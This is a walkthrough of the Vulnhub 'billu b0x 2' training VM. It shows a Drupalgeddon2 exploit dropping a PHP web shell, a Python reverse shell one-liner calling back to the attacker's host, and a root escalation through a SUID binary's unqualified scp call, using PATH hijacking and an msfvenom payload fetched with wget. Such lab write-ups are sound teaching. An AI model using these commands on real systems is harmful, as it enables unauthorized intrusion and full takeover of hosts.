Vulnhub billu b0x 2 Walkthrough

Took a stab at box 2 of the billu series on Vulnhub. I’m not sure if this is was the intended method for root, but here it is either way. I’m going to revisit it to see if there are others as well…

NMAP returns:

Nmap scan report for 192.168.52.187
Host is up (0.00022s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.7 ((Ubuntu))
111/tcp   open  rpcbind 2-4 (RPC #100000)
8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
44109/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:D0:3D:72 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

In examining the website, we see “Powered by Drupal” – hmm. Drupalgeddon anyone? Let’s check…

I grabbed: https://github.com/dreadlocked/Drupalgeddon2 and executed it against the target (192.168.52.187)

root@kali:~/vulnhub/billubox# ruby drupalgeddon.rb http://192.168.52.187
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.52.187/
--------------------------------------------------------------------------------
[+] Header : X-Generator    (v8.x)
[!] MISSING: http://192.168.52.187/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://192.168.52.187/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v8.3.4
--------------------------------------------------------------------------------
[*] Testing: Form   (user/register)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: mail)
[i] Payload: echo ITGOQYSM
[+] Result : ITGOQYSM
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://192.168.52.187/s.php)
[!] Response: HTTP 200 // Size: 6.   Something could already be there?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://192.168.52.187/s.php' -d 'c=hostname'
billu-b0x>> whoami
www-data

The shell was a little flaky, so consulting the ever useful reverse shell guide here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet – I set up a listener and launched a python reverse shell.

VICTIM
billu-b0x>> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.188",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

KALI
root@kali:~/vulnhub/billubox# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.52.188] from (UNKNOWN) [192.168.52.187] 56484
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/var/www/html

After some enumeration on the box, we find a suid binary at /opt/s – what does it do? Let’s run strings and see what we can find out.

$ find / -perm -u=s -type f 2>/dev/null
/opt/s
/sbin/mount.nfs
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/authbind/helper
[...snip...]

$ strings /opt/s
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
printf
setresgid
setresuid
system
getegid
geteuid
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
starting copy of root user files....
scp -r /root/* b0x@127.0.0.1:/var/backup
;*2$"
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
.symtab

We see on line 26 that the program is calling “scp” but does not include the full path to the executable. So we can use that to our advantage. The OS will try to execute the file from a directory listed in the user’s path in order. For example, if our path shows this:

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

…the scp binary will run as along as it is located in one of the directories listed above. What we can do is prepend another directory to our path that will be examined first. In this case, we add /tmp since we have write access to it.

$ PATH=/tmp:$PATH
$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

So now our path contains /tmp, and the OS will try to run scp from there first when we invoke the /opt/s binary. Let’s create a reverse shell and upload it to the victim.

KALI
root@kali:~/vulnhub/billubox# msfvenom -p linux/x86/shell/reverse_tcp LPORT=8080 LHOST=192.168.52.188 -f elf > scp
[...snip.../
Final size of elf file: 207 bytes

root@kali:~/vulnhub/billubox# php -S 0.0.0.0:80
PHP 7.2.4-1 Development Server started at Sat Jul 14 12:10:36 2018
Listening on http://0.0.0.0:80
Document root is /root/vulnhub/billubox
Press Ctrl-C to quit.

Then, our our victim, let’s wget the file and drop it in /tmp, and make it executable.

$ wget http://192.168.52.188/scp
--2018-07-14 17:41:57--  http://192.168.52.188/scp
Connecting to 192.168.52.188:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'scp'
$ ls
hsperfdata_tomcat7
scp
systemd-generator.plQozA
tomcat7-tomcat7-tmp
$ chmod +x scp

Now we have a file in /tmp named scp. If we were to run that directly, we would get a shell back as the www-data user, and not root. But if we run /opt/s, which is a suid executable, that file will run as root (the owner), which then in turn calls our “scp” shell, and launches it as root. A really good write up of SUID executables can be found here: https://www.pentestpartners.com/security-blog/exploiting-suid-executables/

So let’s do it, and see what happens:

VICTIM
$ cd /opt
$ ./s

KALI
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > set lport 8080
lport => 4444
msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > exploit -jz
msf exploit(multi/handler) > 
[*] Sending stage (36 bytes) to 192.168.52.187
[*] Command shell session 8 opened (192.168.52.188:8080 -> 192.168.52.187:35268) at 2018-07-14 12:36:43 -0400

msf exploit(multi/handler) > sessions 8
[*] Starting interaction with 8...

whoami
root
id
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)

Like I said, I’m guessing there’s a different way to do this as well, but no other write ups are listed at the moment.

Note: I tried to do this with a symlink, as well, but for some reason, it would not execute the “scp” executable as root, but only as www-data. I’m not sure why, and will have to look into that.

References mentioned above:

SUID executables: https://www.pentestpartners.com/security-blog/exploiting-suid-executables

Reverse shell cheatsheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Drupalgeddon2: https://github.com/dreadlocked/Drupalgeddon2

Other references used:

Basic linux privesc guide: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Symbolic links, PATH and privilege escalation vulnerability: https://security.stackexchange.com/questions/112549/symbolic-links-path-and-privilege-escalation-vulnerability